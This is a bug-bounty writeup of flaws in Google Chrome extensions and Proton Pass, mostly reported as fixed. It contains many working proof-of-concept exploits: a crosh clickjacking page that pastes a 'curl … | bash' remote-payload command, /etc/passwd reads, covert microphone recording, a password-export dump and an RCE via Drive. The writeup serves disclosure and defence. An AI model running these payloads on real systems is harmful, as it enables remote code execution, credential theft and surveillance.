The reward total in the post title does not include other people’s bugs that this writeup includes but does include that bug from Proton that’s notably not a Google extension. This may not reflect the actual money received.
Testing the security of extensions developed by Google with the help of a Vulnerability Research Grant from Google of $500.
They have since added guidelines for Chrome Extension VRP https://bughunters.google.com/about/rules/chrome-friends/5668215344988160/chrome-extensions-vulnerability-reward-program-rules
Notes:
XMLHttpRequest
will send cookies as if xhr.withCredentials = true
; even if it’s false and are able to read whatever the extension has access to.chrome.storage
can’t be trusted 40189208 - New Extension API function chrome.storage.setAccessLevel
- chromiumMessageSender.origin
doesn’t exist on Firefox so you may need to use the URL.runtime.sendMessage
For more information, check out Deep Dive into Site Isolation (Part 2)
Introduction: https://groups.google.com/a/chromium.org/g/chromium-extensions/c/0ei-UCHNm34/m/lDaXwQhzBAAJ
My bad attempt at enforcing site isolation for SponsorBlock with its 3rd party player support ajayyy/SponsorBlock#1784
Interesting article related to V8 isolates and process isolation The Cloudflare Workers Security Model
Create a directory that has automatically synced and beautified source code from google owned browser extensions hosted in the chrome webstore.
.onMessage
, .onConnect
, .onRequest
, .onMessageExternal
and audit messages to background pageschrome.storage
its viewable using chrome.storage.local.get(null, console.log);
and chrome.storage.sync.get(null, console.log);
externally_connectable
and content_scripts
for unsafe origins such as http://*.google.com
and https://storage.googleapis.com
postMessage
and verify the senders allowed.scripting.executeScript
, document.write
, innerHTML =
, location.href =
, open()
web_accessible_resources
for clickjacking, scripts here will also bypass the sites CSP.URL: https://chrome.google.com/webstore/detail/application-launcher-for/lmjegmlicamnimmfhcmpkclmigmmcbeh
Drive for desktop: https://www.google.com/drive/download/
The lax rule that allows insecure origins: "externally_connectable": { "matches": [ "://.google.com/*" ] }
Run the following on any google subdomain including insecure http://
ones.
The following code runs a VBS script on the victim resulting in RCE.
let api = chrome.runtime.connect('lmjegmlicamnimmfhcmpkclmigmmcbeh', {
name: 'com.google.drive.nativeproxy'
});
let request =
'native_opener/v2/3/' +
btoa('["<VICTIM EMAIL>", "<SHARED FILE ID>","VkJTRmlsZQ",""]');
api.postMessage(request);
An attacker on the same network or a browser extension/XSS with any google subdomain can send messages to a proxy that opens whatever file they want shared in their google drive as long as it’s synced this could be used to run malware.
No “Mark Of The Web” is set. https://textslashplain.com/2016/04/04/downloads-and-the-mark-of-the-web/
Fixed by changing externally_connectable
to only https://docs.google.com/*
and https://drive.google.com/*
browser extensions with <all_urls>
can still get an RCE with it. (WAI)
A demo to get RCE: extension video
This could be fixed by adding https://*.google.com
to runtime_blocked_hosts
https://github.com/NDevTK/DomainProtect
URL: https://chrome.google.com/webstore/detail/perfetto-ui/lfmkphfpdbjijhpomgecfikhfohaoine
Perfetto UI 1 is a Chrome extension by Google for recording browser traces. The extension communicates with ui.perfetto.dev to record the browser traces.
This extension is particularly powerful as it is hardcoded to receive special treatment from Chrome (ExtensionIsTrusted
). 2
However, from the manifest.json we can see that it can also connect to storage.googleapis.com, which is a domain used for storing arbitrary Google Cloud buckets that can be created by anyone.
"externally_connectable": {
"matches": [
"*://localhost/*",
"*://127.0.0.1/*",
"https://*.perfetto.dev/*",
"https://storage.googleapis.com/*"
]
}
This means that anyone hosting a page on storage.googleapis.com can fully communicate with the extension to record and read browser traces. The traces themselves contain info such as Chrome logs, IPC flows, network logs, and over 150 more categories. Sensitive values from the logs are supposed to be stripped, however this filtering is not perfect and many sensitive values are leaked, such as URLs and response headers of Chrome traffic, which contain, for example, access tokens from the “Authorization” headers.
Steps to reproduce:
The PoC essentially loads a copy of the Perfetto UI frontend in an iframe, and then configures it and clicks the Start button using JS. After 15s, the hidden iframe is revealed, showing the data that was recorded. The PoC page can access all of this data. To easily see the leaked data, convert the trace by clicking “Convert to .json” in the left menu.
This is an example of how the page can communicate with the extension:
port = chrome.runtime.connect('lfmkphfpdbjijhpomgecfikhfohaoine');
port.onMessage.addListener(console.log);
port.postMessage({method: 'GetCategories'});
This was fixed by removing https://storage.googleapis.com/
from externally_connectable
https://github.com/google/perfetto/commit/493ab156ac9f2610f91f0d5df9a7a793b6539988
URL: https://chrome.google.com/webstore/detail/screen-reader/kgejglhpjiefppelpmljglcjbhoiplfn
Screen Reader 3 is an accessibility extension by Google. Its source code 4 is available in the chromium repository.
It exposes various commands that can be called. The issue is that the message listeners do not check the origin of the incoming message. 5 One of these commands is clickNodeRef
6, which can, with the help of selector injection 7, be used to click any element in the DOM, using an arbitrary selector.
channel = new MessageChannel();
win.postMessage('cvox.PortSetup', '*', [channel.port2]);
channel.port1.postMessage(
JSON.stringify({
cmd: 'clickNodeRef',
args: [{cvoxid: '"], ' + selector + ', *[x="'}]
})
);
Therefore, a malicious page with a reference to any other cross-origin page can click elements on that page, i.e., bypassing the same-origin policy. This allows for an easy and unlimited way of performing clickjacking on any web page, even those with framing protections, except pages with COOP.
This can be used to perform actions on behalf of the user on other websites. This PoC shows one way how this could be abused: a completely automated way of granting a sensitive OAuth permission without the user’s knowledge.
Steps to reproduce:
After a few seconds, you should see in https://myaccount.google.com/permissions that the PoC app has access to your Google account.
Apart from this vulnerability, there might be other possible security issues with this extension. For example, as the following code 8 does not sanitize user input; this could potentially lead to UXSS, if it is exploited. (we didn’t analyze this yet, but it also looks vulnerable)
var html = Msgs.getMsg('pdf_header', [filename, src + '#original']);
headerDiv.innerHTML = html;
This was fixed by removing the clickNodeRef
method.
Downgraded as needs a compromised renderer, maybe CPU bugs work as well :/
URL: https://chrome.google.com/webstore/detail/tag-assistant-legacy-by-g/kejbdjndbnbjgmefkgdddjlbokphdefk
chrome.runtime.sendMessage(
{message: 'LoadScript', url: 'http://192.168.1.1'},
console.log
);
The new security check has a list of allowed origins however there’s open redirects!
However this only worked for the application/javascript
content type.
chrome.runtime.sendMessage(
{
message: 'LoadScript',
url: 'https://googleads.g.doubleclick.net/pcs/click?adurl=http://localhost:8000/x.js'
},
console.log
);
A compromised renderer can bypass the same origin policy.
URL: https://chrome.google.com/webstore/detail/tag-assistant-legacy-by-g/kejbdjndbnbjgmefkgdddjlbokphdefk
Change the JS execution context to the Tag Assistant Legacy’s content script, and execute the following:
chrome.runtime.sendMessage(
{message: 'GetRecordedIssues', tabId: '<TabID>'},
(a) => {
console.log(a.statusInfos[0].page.url);
}
);
Change the JS execution context to the Tag Assistant Legacy’s content script, and execute the following:
let port = chrome.extension.connect({name: 'popup'});
port.onMessage.addListener((a) => {
console.log(a.url);
});
port.postMessage({message: 'Status', tabId: '<TabID>'});
A compromised renderer can leak visited URLs, which may contain sensitive data, such as an access_token.
URL: https://chrome.google.com/webstore/detail/coding-with-chrome/becloognjehhioodmnimnehjcibkloed
For isolation the extension hosts user controlled code on localhost however it does not verify the sender of the messages or use a null
origin.
let x = window.open('http://127.0.0.1:8090/preview/untitled_phaser_blockly_file.html') window.addEventListener("message", a=> { console.log(a.data) x.postMessage({name: "__exec__", value:"alert(origin)"}, "*") }) setTimeout(()=> x.postMessage({name: "__handshake__", value:"1307"}, "*"), 500)
An attacker controlled website can get XSS on localhost this maybe trusted by applications since it refers to the users local machine https://datatracker.ietf.org/doc/html/draft-west-let-localhost-be-localhost-06
URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd
A page can load or embed chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html?openas=fullscreen#crosh
to make the current tab fullscreen without user interaction.
Impacts:
// Allow users to bookmark links that open as a window.
const openas = params.get('openas');
switch (openas) {
case 'window': {
// Delete the 'openas' string so we don't get into a loop. We want to
// preserve the rest of the query string when opening the window.
params.delete('openas');
const url = new URL(document.location.toString());
url.search = params.toString();
openNewWindow(url.href).then(() => globalThis.close);
return;
}
case 'fullscreen':
case 'maximized':
chrome.windows.getCurrent((win) => {
chrome.windows.update(win.id, {state: openas});
});
break;
}
Repeatedly entering fullscreen was fixed by removing the opener reference https://chromium-review.googlesource.com/c/apps/libapps/+/4823645
URL: https://chrome.google.com/webstore/detail/form-troubleshooter/lpjhcgjbicfdoijennopbjooigfipfjh
The Form Troubleshooter extension 9 is a project from Google Chrome Labs 10.
The extension adds a content script to all pages, which responds back with the DOM tree of the current document. The issue is that it accepts messages by any page that has a reference to the window.
window.addEventListener('message', async (event) => {
if (event.data?.message === 'iframe message') {
const messageType = event.data?.data?.type;
if (messageType === 'inspect') {
sendPostMessageResponse(event, await getDocumentTree(document));
}
[...]
}
});
This means that a page can get the document tree of any other page it has a reference to.
Steps to reproduce:
onmessage = console.log;
x = window.open('https://facebook.com');
setTimeout(() => {
x.postMessage({message: 'iframe message', data: {type: 'inspect'}}, '*');
}, 1000);
window.open
) OR that does not prevent being framed (iframe
).This was fixed by adding an origin check https://github.com/GoogleChromeLabs/form-troubleshooter/commit/f67dc76e304dfa29b6be16725287c1b84a27eabe
URL: https://chrome.google.com/webstore/detail/tag-assistant-for-convers/llpfnmnallbompdmklfkcibfpcfpncdd
Click the start button via the extensions popup, then go to https://example.org/?secret
In the context of the content script on an attacker controlled website.
chrome.runtime.sendMessage({messageType: 6}, (tabInfo) => {
for (let page in tabInfo.pages) {
console.log(tabInfo.pages[page].info.url);
}
});
There’s a leak on navigation.
chrome.runtime.onMessage.addListener((e) => {
console.log(JSON.stringify(e));
});
A compromised renderer can leak visited URLs, which may contain sensitive data, such as an access_token, and other data, such as cookie names.
URL: https://chrome.google.com/webstore/detail/long-descriptions-in-cont/ohbmencljkleiedahijfkagnmmhbilgp
The “Long Descriptions in Context Menu” is an accessibility extension by Google. It adds a context menu item, which will open a new tab to a URL provided by the website. There are no restrictions on what the URL can be, which leads to security risks.
Steps to reproduce:
<body
longdesc="chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html">
<h1 style="pointer-events: none;">
Right click and select "Open Long Description In New Tab"
</h1>
</body>
For bugs which require a renderer exploit, we usually offer financial rewards for bugs which only require a single user interaction (i.e. a click). This is because a bug which requires multiple user interactions from a victim is normally not used with a renderer exploit (due to likelihood of unsuccessful attacks, there is more risk of a renderer exploit being wasted).
We’ve also looked at 2 attack scenarios you have provided.
achieve UXSS by navigating to a javascript: URI and using a renderer exploit
The bug you’ve mentioned is already fixed by Chrome. And therefore we don’t believe UXSS is possible with this bug. However, we are happy to proven wrong, so let us know if this bug can result in UXSS 🙂
read local files by opening a downloaded html file with a renderer exploit
To perform this attack, we believe following steps are necessary.
Download a malicious HTML file. Ask the user to right-click and click “Open Long Description In New Tab”. This opens the malicious HTML file downloaded in step #1, and it can now read other files. This means that on top of multiple user interactions requirement in step #2, download of a malicious file in step #1 is also visible to the victim. Therefore, we believe that the likelihood of a successful attack will further decrease.
I hope this clarifies the reward decision bit more. And I would like to thank you for the report, as this is definitely a valid bug!
URL: https://chrome.google.com/webstore/detail/gerrit-fe-dev-helper/jimgomcnodkialnpmienbomamgomglkd/
chrome.storage.sync.set({
rules: [
{
destination: 'alert(window.origin)',
disabled: false,
isNew: false,
operator: 'injectJSCode',
target: ''
}
]
});
// Now open a tab (https://google.com) and click the extension action icon
This can also be done via chrome.runtime.sendMessage
If the victim visits a site that has a compromised renderer (can access the content script) and enables the extension, the site will be able to bypass the same-origin policy.
This is an extension by Google intended for frontend Gerrit developers.
https://gerrit.googlesource.com/gerrit-fe-dev-helper/
Unverified fix, https://gerrit-review.googlesource.com/c/gerrit-fe-dev-helper/+/389216
URL: https://chrome.google.com/webstore/detail/amp-readiness-tool/fadclbipdhchagpdkjfcpippejnekimg
window.onclick = () => {
open('https://www.google.com');
setTimeout(() => {
chrome.runtime.sendMessage({id: 'get_apps', tab: {id: ''}}, (e) => {
console.log(e.html);
});
}, 3000);
};
A compromised renderer can bypass the same origin policy.
URL: https://chrome.google.com/webstore/detail/web-vitals/ahfhijdlegdabablpippeagghigmibma
chrome.storage.local.get(null, (results) => {
for (let hash in results) {
console.log(results[hash].location);
}
});
ChromeVox has a similar issue which never got fixed. https://issues.chromium.org/issues/40050494#comment24
A compromised renderer can leak visited URLs, which may contain sensitive data, such as an access_token.
This was fixed by https://github.com/GoogleChrome/web-vitals-extension/commit/5187dbddcdea7886009f937344a7d4c0b4590598
URL: https://chrome.google.com/webstore/detail/chrome-reporting-extensio/emahakmocgideepebncgnmlmliepgpgb
This extension requires setup to work: Create DWORD report_user_browsing_data
with the value of 1
in HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\3rdparty\extensions\emahakmocgideepebncgnmlmliepgpgb\Policy
In the context of the content script on an attacker controlled site run:
chrome.storage.local.get('activeSites', (e) => {
for (let url in JSON.parse(e.activeSites)) console.log(url);
});
A compromised renderer can leak visited URLs (origin + pathname) enough to leak unlisted google doc IDs.
URL: https://chrome.google.com/webstore/detail/save-to-google-drive/gmbmikajjgmnabiglmofipeabaddhgne
The extension stores the folder ID of where to store files in chrome.storage.sync
with a compromised renderer; this can leak their folder if it’s set to “with a link” and changed to an attacker controlled value.
This can only happen after the content script is injected, which happens when the user clicks the extension icon or uses upload.html directly from a browser extension.
chrome-extension://gmbmikajjgmnabiglmofipeabaddhgne/upload.html?aid=image-entire&tid=<TabID>
.
By changing the action id aid
from image-entire to html, it will leak the source code of the page to the folder.
This is exploitable from a browser extension with the Tabs API.
Spoof the context menu to trick the user into leaking an unexpected url.
<img src="https://github.com/opensearch.xml" />
Right click and save image to drive, this element could be overlapped with a duck image. Potential fix:
A malicious attacker could exploit this to bypass SOP.
URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd
OS: ChromeOS (regular or dev mode). Dev mode allows shell access, regular mode allows only predefined commands.
Requires the Secure Shell extension 11 by Google to be installed. Together with the old version 12 they have over 1 million users.
The extension exposes html/nassh.html
as a web accessible resource, which can be used to access Crosh (Chrome OS shell) and can be embedded by any webpage without restrictions. This way, a malicious website can make the user interact with the shell without the user knowing.
There is some user interaction required, but this could be made inconspicuous to the user by making it a part of a game, for example.
Steps to reproduce:
cat /etc/passwd
(or an arbitrary Linux command) has been executed* alternatively, you can right-click instead of Ctrl+Shift+V (poc-rightclick.html
)
If the developer mode is enabled, the shell
command runs and gives access to the system shell.
In the regular user mode, the Crosh shell allows executing any of the predefined commands, which could possibly be exploited to gain access to the system shell.
Note: the PoC works best with dev mode enabled. In regular mode, the shell command will fail, but the issue will still be demonstrated.
Another potential attack vector would be to connect to devices in the local network that often have default credentials, for example: html/nassh.html#root@192.168.1.1
poc.html:
<!doctype html>
<html>
<head>
<style>
html,
body {
font-family: sans-serif;
overflow: hidden;
}
#croshFrame {
position: absolute;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
opacity: 0.000000001;
pointer-events: none;
}
#croshFrame.show {
opacity: 0.5;
}
#croshFrame.enablePointerEvents {
pointer-events: auto;
}
#instructions {
font-size: 2em;
font-weight: bold;
text-align: center;
}
#inputElem {
opacity: 0.000000001;
}
</style>
</head>
<body>
<h1>PoC: crosh UI redress - Keyboard-only with polyglot</h1>
<p>
(Frame will autoshow sometime around the last step. Use ?show to show
iframe on page load. Use ?danger to run remote bash script.)
</p>
<p id="instructions">Press any key to start</p>
<input id="inputElem" />
<iframe id="croshFrame"></iframe>
<script>
var showFrame = () => {
croshFrame.classList.add('show');
};
var shouldShow = window.location.search.indexOf('show') > -1;
if (shouldShow) {
showFrame();
}
var setClipboard = async (text) => {
const type = 'text/plain';
const blob = new Blob([text], {type});
const data = [new ClipboardItem({[type]: blob})];
await navigator.clipboard.write(data);
};
var setupPayload1 = () => {
console.info('Setup payload 1');
var setPayload1 = async () => {
console.info('Setting payload 1');
var clipboardSuccess = false;
try {
var dangerZone = window.location.search.indexOf('danger') > -1;
if (dangerZone) {
// Use payload below if you trust me (does nothing malicious)
await setClipboard(
'shell || curl https://aogarantiza.com/chromium/crosh-payload.txt | bash'
);
} else {
await setClipboard('shell || cat /etc/passwd');
}
clipboardSuccess = true;
} catch (e) {
instructions.innerText = 'Please press space or any letter key.';
}
if (clipboardSuccess) {
window.removeEventListener('keydown', setPayload1);
croshFrame.src =
'chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html#crosh';
instructions.innerText = 'Please wait...';
}
};
window.addEventListener('keydown', setPayload1);
};
var frameLoadCount = 0;
croshFrame.addEventListener('load', () => {
// First load isn't a usable prompt
frameLoadCount++;
if (frameLoadCount >= 2) {
setTimeout(() => {
// Slight delay to allow crosh to initialize and be ready for input
// Ctrl+J can also be used instead of Enter.
instructions.innerText =
'Please press Ctrl+Shift+V.\nThen press Enter.\n\nThen repeat the steps above.';
setTimeout(() => {
showFrame();
croshFrame.classList.add('enablePointerEvents');
}, 8000);
}, 500);
}
});
setupPayload1();
// Focus page so we get user activation with first valid keypress every time
inputElem.focus();
</script>
</body>
</html>
In production mode (no shell
available) with Linux enabled, the following impacts are confirmed.
An attacker can open a Linux shell either in the Termina VM or within a container. Once the attacker has a Linux shell, an attacker can run an arbitrary shell script with a single copy/paste step. Using a script or running arbitrary containers can reduce the number of steps shown below (which are for manual repro, so has more verbose steps).
To get a Linux shell in the Termina VM, run in crosh: vmc start termina
To get a Linux shell in a container, run in crosh: vmc container termina test-t1 --timeout 120
(Note that vmc container
commands usually need higher timeouts on my physical Chromebook, YMMV)
The malicious payloads can be run on a delay or in the background, so they don’t necessarily occur when the user is still on the attacker page. This can make some attacks more difficult to detect and stop. For an example of this, see “Capture microphone output”.
Arbitrary containers can run attacker commands without further user input, which can save a copy/paste step and save setup time in more complex attacks (since the attacker doesn’t need to set up the default container with their tools.)
I haven’t prepared a custom image, so using Arch Linux image as example, but this can be an attacker-controlled server + container.
Repro steps in crosh, based on these steps: https://wiki.archlinux.org/title/Chrome_OS_devices/Crostini
vmc container termina test-arch https://us.lxd.images.canonical.com/ archlinux/current --timeout 120
After running the command above, the container will be run on the target device. Note that because Arch doesn’t have the ChromeOS guest tools, you will see an error message, but this can be disregarded. If you go into the VM with vsh termina
in crosh, then run lxc list
in the VM, you will see the Arch container is running. You can further verify this by running lxc exec arch -- bash
in the VM.
Repro steps in crosh:
vmc container termina penguin
/opt/google/cros-containers/bin/garcon --client --url file:///mnt/chromeos/MyFiles/Downloads/file.txt
This bypasses the popup blocker and bypasses restrictions that prevent web pages from opening file URLs.
Can open arbitrary http(s), file, data, ftp, mailto URLs. Allowed schemes: https://source.chromium.org/chromium/chromium/src/+/main:ash/dbus/url_handler_service_provider.cc;l=21;drc=4de6dab8daa43278023a25ee25695479bc8afdbe
Rate-limited to 10 calls per 15 seconds: https://source.chromium.org/chromiumos/chromiumos/codesearch/+/refs/heads/main:src/platform2/vm_tools/cicerone/container_listener_impl.cc;l=223;drc=913d3602cf086d51d7056a575f24306f7de210ce
Arbitrary read/write of user files if we know the directory name within MyFiles. A default directory is the “Downloads” folder, which is likely to contain sensitive data for many users.
Can be used to exfiltrate data or tamper with files within the mounted directories.
Repro steps in crosh:
vmc share termina Downloads
This mounts directory in VM at /mnt/shared/MyFiles/Downloads/ Also mounts directory in container at /mnt/chromeos/MyFiles/Downloads/
Once mounted, an attacker can access these by running code within the VM or container (attacker’s choice).
Path traversal and other bad paths are checked here: https://source.chromium.org/chromiumos/chromiumos/codesearch/+/main:src/platform2/vm_tools/seneschal/service.cc;l=729;drc=ba85dbf6f981966bf5c7c1bce53e819e7d617666
Service::SharePath()
above is called with with SharePathRequest::MY_FILES
(see caller here: https://source.chromium.org/chromiumos/chromiumos/codesearch/+/main:src/platform2/vm_tools/crostini_client/methods.rs;l=1662;drc=744ff3added499919ebecb2f19794aa6a23c0cd4)
Repro steps in crosh:
vmc start termina --enable-audio-capture
vmc container termina test-t1 --timeout 120
(you may need to try this several times until container is running; error messages can be misleading)sudo apt install sox
rec -t alsa
After step 4, observe the audio bars in the terminal showing input from the microphone. ChromeOS will also show a notification.
Note that the in-container commands can be automated if using an attacker-controlled container (see “Run arbitrary container” section).
ChromeOS shows a notification saying “Linux is using your microphone”, which is hidden after a few seconds. The only ongoing indication of microphone access is a microphone icon in the notification tray, and the notification itself when you open the tray.
When a user clicks the microphone access notification, the Settings app is opened to the Linux page. However, a user cannot revoke the microphone access on this screen, since the toggle will still be off for microphone access despite the container having access. (This also sounds like something that should be fixed in the Settings app.)
The only way to stop this is to stop the container, VM, or for a more typical user, restart the whole system. You can stop it by running vmc stop termina
in crosh.
Camera input is not supported by Termina VMs. It seems supported by ARC (Android), PluginVM (Parallels?), and Borealis (Steam) VMs. If any of these supported VMs are available in the target system and are accessible via crosh, an attacker may also be able to access the camera (this is unconfirmed, but seems likely based on code analysis).
As a demonstration of performing this in the background, replace steps 3 and 4 with the Bash script hosted at https://aogarantiza.com/chromium/crosh-payload-2.txt (which can be run by an attacker with curl ... | bash
):
#!/bin/bash
run_payload() {
sleep 10
sudo apt install sox
sleep 10
rec -t alsa
}
echo "Hello, this will record audio in 20-40 seconds... you can close this shell/tab and it will still run"
run_payload &
(unsure if this is useful to attacker)
Able to set WireGuard VPN config via crosh wireguard
command. However, I can’t get DNS working until I toggle “automatically configure network settings” in GUI. Maybe someone with more experience configuring WireGuard can figure out how to make this useful for an attacker. If it does work, I think this might allow attackers to tunnel traffic through their WireGuard server and potentially hijack DNS.
No notification is shown when WireGuard is connected, but notification is shown when it is disconnected.
This was fixed by adding frame-ancestors 'self';
to the extensions content_security_policy
.
https://chromium-review.googlesource.com/c/apps/libapps/+/4603751
URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd
chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html?args=eyJzdHlsZSI6ImJhY2tncm91bmQtaW1hZ2U6IHVybChcImh0dHBzOi8vaHR0cC5jYXQvMjAwXCIpIiwid2lkdGgiOjEwMDAsImhlaWdodCI6MTAwMH0=
(This could be done directly or via a WAR bypass)args from the url gets base64 decoded and set as attributes for a html embed tag. While JS is prevented due to the CSP it still allows for CSS. https://issuetracker.google.com/issues/260531249
URL: https://chrome.google.com/webstore/detail/proton-pass-free-password/ghmbeldphafepmbegfdlkpapadhbakde
Due to site isolation it should be expected that an attacker controlled process (a content script) should not gain access to a different site’s passwords since it would be process isolated.
However Proton Pass does not verify the sender of the EXPORT_REQUEST
message allowing a renderer bug to leak in unencrypted form all the users passwords.
In the context of the content script on an attacker controlled website do:
// Bypass Self-XSS (For debugging)
f = document.createElement('iframe');
document.body.appendChild(f);
chrome = f.contentWindow.chrome;
// Dump database
chrome.runtime.sendMessage(
{type: 'EXPORT_REQUEST', payload: {encrypted: false}},
(result) => {
console.log(atob(result.data));
}
);
While the data in chrome.storage.local is shared to the content script which uses the same process as attacker controlled websites this is in encrypted form so not that useful but this could be improved by using the localStorage API directly in the background process. Since I think I also saw an access token :/
MV3 Service workers don’t allow localStorage but there are other alternatives. https://developer.chrome.com/docs/extensions/migrating/to-service-workers/#convert-localstorage
Unverified fixes, https://github.com/search?q=repo%3AProtonMail%2FWebClients+SECBTY-628&type=commits
URL: https://chrome.google.com/webstore/detail/google-optimize/bhdplaindhdkiflmbfbciehdccfhegci
The summary of the attack:
URL: https://chrome.google.com/webstore/detail/screenwise-meter/hbmclfdibpffglligfnnppjocdlhgjbb
chrome.runtime.sendMessage
chrome.storage.local
URL: https://chrome.google.com/webstore/detail/mandiant-advantage-threat/aghmgfkjfbkcockededacdhemkpgdcko
Leaks slackWebhook
, teamsWebhook
, token
to a compromised renderer via chrome.storage.local
https://github.com/dart-lang/webdev/issues/2287
rm -rf extensions/*
sudo apt install unzip
npm -g install prettier
# Downloads every extension ID in extensions.txt
for extensionID in $(cat extensions.txt)
do
wget "https://clients2.google.com/service/update2/crx?response=redirect&os=cros&arch=x86-64&os_arch=x86-64&nacl_arch=x86-64&prod=chromiumcrx&prodchannel=unknown&prodversion=120.0.0.0&acceptformat=crx2,crx3&x=id%3D$extensionID%26uc" -O $extensionID.zip
unzip $extensionID.zip -d extensions/$extensionID
rm $extensionID.zip
chmod -R 777 extensions/$extensionID
prettier --write extensions/$extensionID
done
This may Include extensions that are not considered official google apps.
dahenjhkoodjbpjheillcadbppiidmhp
gbecpjnejcnafnkgfciepngjcndodann
lkjlajklkdhaneeelolkfgbpikkgnkpk
kngjcibmkbngcpnaoafbgkicpgmdehje
iodihamcpbpeioajjeobimgagajmlibd
inomeogfingihgjfjlpeplalcfajhgai
hinmcgipjjndkedddmmpidnjikjebejj
ghbmnnjooekpmoecnnnilnnbdlolhkhi
fhcagphnoanpgcbhcjlijdbeeggldbof
djjmngfglakhkhmgcfdmjalogilepkhd
aihpiglmnhnhijdnjghpfnlledckkhja
abjoigjokfeibfhiahiijggogladbmfm
kgejglhpjiefppelpmljglcjbhoiplfn
noondiphcddnnabmjcihcjfbhfklnnep
nmmhkkegccagdldgiimedpiccmgmieda
nnckehldicaciogcbchegobnafnjkcne
npeicpdbkakmehahjeeohfdhnlpdklia
onjcfgnjjbnflacfbnjaapcbiecckilk
aohghmighlieiainnegkcijnfilokake
pjkljhegncpnkpknbcohdijeoejaedia
mmfbcljfglbokpmkimbfghdkjmjhdgbg
aapocclcgogkmnckokdopfmhonfmgoek
aapbdbdomjkkjkaonfhkkikfgjllcleb
felcaaldnbdncclmgdcncolpebgiejap
apdfllckaahabafndbhieahigkjlhalf
lmjegmlicamnimmfhcmpkclmigmmcbeh
hmjkmjkepdijhoojdojkdfohbdgmmhki
lpcaedmchfhocbbapmcbpinfpgnhiddi
mkaakpdehdafacodkgkpghoibnmamcme
joodangkbfjnajiiifokapkpmhfnpleo
gbkeegbaiigmenfmjfclcdgdpimamgkj
jhknlonaankphkkbnmjdlpehkinifeeg
mgijmajocgfcbeboacabfgobmjgjcoja
ldipcbpaocekfooobnbcddclnhejkcpn
mclkkofklkfljcocdinagocijmpgbhab
callobklhcbilhphinckomhgkigmfocg
kejbdjndbnbjgmefkgdddjlbokphdefk
hkgfoiooedgoejojocmhlaklaeopbecg
djflhoibgkdhkhhcedjiklpkjnoahfmg
hfhhnacclhffhdffklopdkcgdhifgngh
fllaojicojecljbmefodhfapmkghcbnh
pocpnlppkickgojjlmhdmidojbmbodfm
jndclpdbaamdhonoechobihbbiimdgai
bhloflhklmhfpedakmangadcdofhnnoh
nlbjncdgjeocebhnmkbbbdekmmmcbfjd
kcnhkahnjcbndmmehfkdnkjomaanaooo
dllkocilcinkggkchnjgegijklcililc
jnkmfdileelhofjcijamephohjechhna
jmekfmbnaedfebfnmakmokmlfpblbfdm
gecgipfabdickgidpmbicneamekgbaej
gmandedkgonhldbnjpikffdnneenijnd
djcfdncoelnlbldjfhinnjlhdjlikmph
fcgckldmmjdbpdejkclmfnnnehhocbfp
eekailopagacbcdloonjhbiecobagjci
akimgimeeoiognljlfchpbkpfbmeapkh
fhndealchbngfhdoncgcokameljahhog
emahakmocgideepebncgnmlmliepgpgb
kjeeglcidfbjdmdkkoiakojnconnemce
kbjopffcocgcnkigpnnmpcoimhjbjmba
ienfalfjdbdpebioblfackkekamfmbnh
ipkjmjaledkapilfdigkgfmpekpfnkih
eoieeedlomnegifmaghhjnghhmcldobl
cdockenadnadldjbbgcallicgledbeoc
khpfeaanjngmcnplbdlpegiifgpfgdco
jknemblkbdhdcpllfgbfekkdciegfboi
pbcodcjpfjdpcineamnnmbkkmkdpajjg
pkidpnnapnfgjhfhkpmjpbckkbaodldb
iogfkhleblhcpcekbiedikdehleodpjo
aoggjnmghgmcllfenalipjhmooomfdce
nmoffdblmcmgeicmolmhobpoocbbmknc
fklpgenihifpccgiifchnihilipmbffg
ohbmencljkleiedahijfkagnmmhbilgp
llpfnmnallbompdmklfkcibfpcfpncdd
pkbdliadhfopgfdhbldifaakplenbpnd
bhcleoapmpajopgfbbjbokgfmmjpihkj
iijdllfdmhbmlmnbcohgbfagfibpbgba
ncigbofjfbodhkaffojakplpmnleeoee
eljbmlghnomdjgdjmbdekegdkbabckhm
fmgkgdalfapcmjnanilfcpkhkhedmpdm
gkbmnjmlhjnakmfjcejhlhpnibcbjdnl
amndppkiecbdmiaihgbicalhabkkhhpk
fojlbpdodmdfcdeigmknnaeikaadaaoh
ngjnkanfphagcaokhjecbgkboelgfcnf
odkacekibiibhidpiopcmgbgebkeoced
cmhomipkklckpomafalojobppmmidlgl
aghmgfkjfbkcockededacdhemkpgdcko
eakkgknfmgeecamodkgdnoabcphgaidc
lfmkphfpdbjijhpomgecfikhfohaoine
cniohcjecdcdhgmlofniddfoeokbpbpb
gdfknffdmmjakmlikbpdngpcpbbfhbnp
obkehignjblpidgnopmikpgjklkpbgpj
aonapkfkfneahhaonjjpmcabpnbdmojl
cokoeepjbmmnhgdhlkpahohdaiedfjgn
mogcmmflienoigckdgnkkkafbgkaecbj
pipjflhdnjcdflbkmoldkkpphmhcfaio
hiijcdgcphjeljafieaejfhodfbpmgoe
gikieikejljogkfjbijjplfhbmhbmfkf
ibmblmkjihglholefminaiddohamopnn
khkjfddibboofomnlkndfedpoccieiee
ahnljpdlfbmbhfabicjhfpaahfpedgfn
pgiknkjjcfcalehnoedjngelcgopgkgc
ijimhcgeahpgfdcgaheadagkjkiibcnj
fpdeeiodjafkidabmmeighhmfffnldak
daedidciajfkjpjfmailopfppehmdlkn
omamhhjibghapdodkhlmcpibplefhmgl
gmbmikajjgmnabiglmofipeabaddhgne
https://chrome.google.com/webstore/detail/perfetto-ui/lfmkphfpdbjijhpomgecfikhfohaoine ↩ ↩2 ↩3
https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/extensions/api/debugger/debugger_api.cc;drc=3ecbe8e3eacb4ac62561e9e786e40e7e60eefd44;l=154 ↩
https://chrome.google.com/webstore/detail/screen-reader/kgejglhpjiefppelpmljglcjbhoiplfn ↩ ↩2
https://source.chromium.org/chromium/chromium/src/+/main:ui/accessibility/extensions/chromevoxclassic/ ↩
